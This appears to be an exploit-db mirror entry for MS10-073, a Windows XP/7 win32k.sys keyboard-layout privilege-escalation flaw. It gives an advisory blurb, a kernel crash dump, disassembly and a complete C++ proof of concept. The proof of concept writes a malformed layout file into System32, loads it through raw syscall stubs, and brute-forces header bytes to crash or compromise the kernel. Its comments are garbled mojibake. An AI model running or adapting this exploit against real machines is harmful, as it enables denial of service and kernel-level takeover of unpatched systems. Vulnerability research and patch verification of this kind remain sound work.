Microsoft Windows XP/7 Kernel – ‘win32k.sys’ Keyboard Layout Privilege Escalation (MS10-073)

  • 作者: instruder
    日期: 2011-11-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36327/
  • source: https://www.securityfocus.com/bid/50763/info
    
    Microsoft Windows is prone to a local privilege-escalation vulnerability.
    
    A local attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition. 
    
    Crash:
    /*
    win7
    Access violation - code c0000005 (!!! second chance !!!)
    win32k!ReadLayoutFile+0x62:
    9566d591 8b4834mov ecx,dword ptr [eax+34h]
    kd> r
    eax=ffffffe8 ebx=00000000 ecx=fe978b2e edx=000000e0 esi=fe4e0168 edi=00000000
    eip=9566d591 esp=985ad8a0 ebp=985ad8bc iopl=0 nv up ei pl nz ac pe cy
    cs=0008ss=0010ds=0023es=0023fs=0030gs=0000 efl=00010217
    win32k!ReadLayoutFile+0x62:
    9566d591 8b4834mov ecx,dword ptr [eax+34h] ds:0023:0000001c=????????
    
    kd> kb
    ChildEBP RetAddrArgs to Child
    985acf5c 83d1b083 00000003 bc9827e2 00000065 nt!RtlpBreakWithStatusInstruction
    985acfac 83d1bb81 00000003 985ad3b0 00000000 nt!KiBugCheckDebugBreak+0x1c
    985ad370 83d1af20 0000008e c0000005 9566d591 nt!KeBugCheck2+0x68b
    985ad394 83cf108c 0000008e c0000005 9566d591 nt!KeBugCheckEx+0x1e
    985ad7bc 83c7add6 985ad7d8 00000000 985ad82c nt!KiDispatchException+0x1ac
    985ad824 83c7ad8a 985ad8bc 9566d591 badb0d00 nt!CommonDispatchException+0x4a
    985ad8bc 9566dc6a fe4e0168 80000984 00000160 nt!Kei386EoiHelper+0x192
    985ad8dc 95669b7b 80000984 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x70
    985ad968 9567c21e 883bf4b0 80000984 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1be
    985ad9a4 9566a275 883bf4b0 80000984 08040804 win32k!xxxSafeLoadKeyboardLayoutEx+0x93
    985add0c 83c7a1ea 00000038 00000160 000001ae win32k!NtUserLoadKeyboardLayoutEx+0x119
    985add0c 777970b4 00000038 00000160 000001ae nt!KiFastCallEntry+0x12a
    001ff470 0111c58c 0111c76a 00000038 00000160 ntdll!KiFastSystemCallRet
    WARNING: Stack unwind information not available. Following frames may be wrong.
    001ff9f8 0111c956 00000000 00000000 7ffd9000 ms10_73+0x2c58c
    
    Details£º
    WIN7
    .text:BF80D538 pusheax ; int
    .text:BF80D539 push40000h; int
    .text:BF80D53E push40h ; int
    .text:BF80D540 push[ebp+start_buffer] ; FileHandle
    .text:BF80D543 mov [ebp+plength], ebx
    .text:BF80D546 mov [ebp+ppbuffer], ebx
    .text:BF80D549 mov [ebp+var_10], ebx
    .text:BF80D54C call_LoadFileContent@20 ; LoadFileContent(x,x,x,x,x)
    .text:BF80D551 testeax, eax
    .text:BF80D553 jlloc_BF80D6F1
    .text:BF80D559 mov ecx, [ebp+ppbuffer]¹¹Ôì¶ÑµØÖ·+3ch´¦µÄdword =0xffffffxx ¼´¿ÉÈƹý¼ì²â£¬µ¼ÖÂBSOD
    .text:BF80D55C mov eax, [ecx+3Ch]//ÐèÒª²Â²â¶ÑµÄµØÖ·
    .text:BF80D55F add eax, ecx
    .text:BF80D561 cmp eax, ecx
    .text:BF80D563 jbloc_BF80D6F1
    .text:BF80D569 mov ecx, [ebp+plength]
    .text:BF80D56C mov edx, [ebp+ppbuffer]
    .text:BF80D56F add ecx, edx
    .text:BF80D571 lea edx, [eax+0F8h]
    .text:BF80D577 mov [ebp+plength], ecx
    .text:BF80D57A cmp edx, ecx
    .text:BF80D57C jnb loc_BF80D6F1
    .text:BF80D582 mov ecx, [eax+34h]----->crash
    
    
    winxp
    
    .text:BF8821D7 pusheax ; ViewSize
    .text:BF8821D8 pushesi ; SectionOffset
    .text:BF8821D9 pushesi ; CommitSize
    .text:BF8821DA pushesi ; ZeroBits
    .text:BF8821DB lea eax, [ebp+BaseAddress]
    .text:BF8821DE pusheax ; BaseAddress
    .text:BF8821DF push0FFFFFFFFh; ProcessHandle
    .text:BF8821E1 push[ebp+Handle]; SectionHandle
    .text:BF8821E4 callds:__imp__ZwMapViewOfSection@40 ; ZwMapViewOfSection(x,x,x,x,x,x,x,x,x,x)
    .text:BF8821EA testeax, eax
    .text:BF8821EC jlloc_BF88238A
    .text:BF8821F2 mov ecx, [ebp+BaseAddress]
    .text:BF8821F5 mov eax, [ecx+3Ch]
    .text:BF8821F8 add eax, ecx
    .text:BF8821FA movzx edx, word ptr [eax+6] -----¡µcrash
    
    
    
    // poc.cpp : ¶¨Òå¿ØÖÆ̨ӦÓóÌÐòµÄÈë¿Úµã¡£
    //
    
    #include "stdafx.h"
    
    
    #include <windows.h>
    #include <stdio.h>
    #include <ntsecapi.h>
    
    #pragma comment(lib,"User32.lib")
    
    #define MAGIC_OFFSET 0x6261
    #define WIN7 1
    #define InitializeUnicodeStr(p,s) { \
    (p)->Length= wcslen(s)*2; \
    (p)->MaximumLength = wcslen(s)*2+2; \
    (p)->Buffer = s;\
    }
    #if WIN7
    
    _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
    (
     IN HANDLE Handle,
     IN DWORD offTablelow,
     IN DWORD offTableHigh,
     IN PUNICODE_STRING puszKeyboardName,
     IN HKL hKL,
     IN PUNICODE_STRING puszKLID,
     IN DWORD dwKLID,
     IN UINT Flags
     )
    {
    __asm
    {
    mov eax,11E3h
    mov edx, 7ffe0300h
    call dword ptr [edx]
     ret 20h
    }
    }
    #else
    _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
    (
     IN HANDLE Handle,
     IN DWORD offTable,
     IN PUNICODE_STRING puszKeyboardName,
     IN HKL hKL,
     IN PUNICODE_STRING puszKLID,
     IN DWORD dwKLID,
     IN UINT Flags
     )
    {
    __asm
    {
    mov eax, 000011c6h
    mov edx, 7ffe0300h
    call dword ptr [edx]
    retn 1Ch
    }
    }
    #endif
    
    
    
    
    unsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00 base=fdbbca98 fdbbca00 02443500 
    "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"//
    "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
    "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00";
    
    ;
    UNICODE_STRINGuStr;
    UNICODE_STRING uKerbordname;
    
    VOID boom_loadlayout()
    {
    
    KEYBDINPUTkb={0};
    INPUT vInput={0};
    
    HANDLEhFile;
    DWORD dwFuckS0ny;
    
    HKL hKbd;
    
    WCHAR lpPath[MAX_PATH]={0};
    WCHAR lpLayoutFile[MAX_PATH]={L"C:\\Windows\\System32\\lSp0wns.boom111"};
    
    LPVOIDlpShellPtr;
    
    
    
    
    //strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath);
    
    hFile = CreateFileW(lpLayoutFile,
    GENERIC_READ|GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE,
    0,
    CREATE_ALWAYS,
    0,0);
    
    if( hFile == INVALID_HANDLE_VALUE )
    {
    printf(" \n[!!] Error:errorcode:%x\n",GetLastError());
    exit(0);
    }
    
    WriteFile(hFile,
    fakeDll2,
    sizeof(fakeDll2)-1,
    &dwFuckS0ny,
    NULL);
    //printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
    CloseHandle(hFile);
    
    hFile = CreateFileW (lpLayoutFile,
    GENERIC_READ,
    FILE_SHARE_READ,
    0,
    OPEN_EXISTING,
    0,0);
    
    if( hFile == INVALID_HANDLE_VALUE )
    {
    printf(" \n[!!] Error\n");
    exit(0);
    }
    hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
    printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101 
    /*HKL NTAPI NtUserLoadKeyboardLayoutEx(IN HANDLE Handle,
    IN DWORD offTable,
    IN PUNICODE_STRING puszKeyboardName,
    IN HKL hKL,
    IN PUNICODE_STRING puszKLID,
    IN DWORD dwKLID,
    IN UINT Flags 
    )*/
    //win7ÏÂÃæÕâ¸öº¯ÊýÊǸö²ÎÊýÀ´ÆäÖÐoffTable²ð·Ö³É¸ö
    //ÎļþÒ»¶¨Òª·ÅÔÚsystem32Ŀ¼ÏÂÃ治Ȼ´¥·¢²»ÁË
    
    
    CloseHandle(hFile);
    //printf("\n[+] Done\n");
    }
    int _tmain(int argc, _TCHAR* argv[])
    {
    
    LoadLibraryA("user32.dll");
    InitializeUnicodeStr(&uStr,L"p3d.dll");//ÏÖÔÚ±ØÐëСÓÚ³¤¶È
    //fix by instruder
    InitializeUnicodeStr(&uKerbordname,L"A");
    uKerbordname.MaximumLength=0;
    
    for (int j=0;j<=2;j++)
    {
    for (int i1=0;i1<=0xff;i1++)
    {
    for (int i2=0;i2<0xff;i2++)
    {
    printf("%x,%x\n",i1,i2);
    fakeDll2[0x3d]=i1;
    fakeDll2[0x3e]=i2;
    fakeDll2[0x3f]=j;
    boom_loadlayout();
    
    }
    }
    }
    
    
    
    return 0;
    }//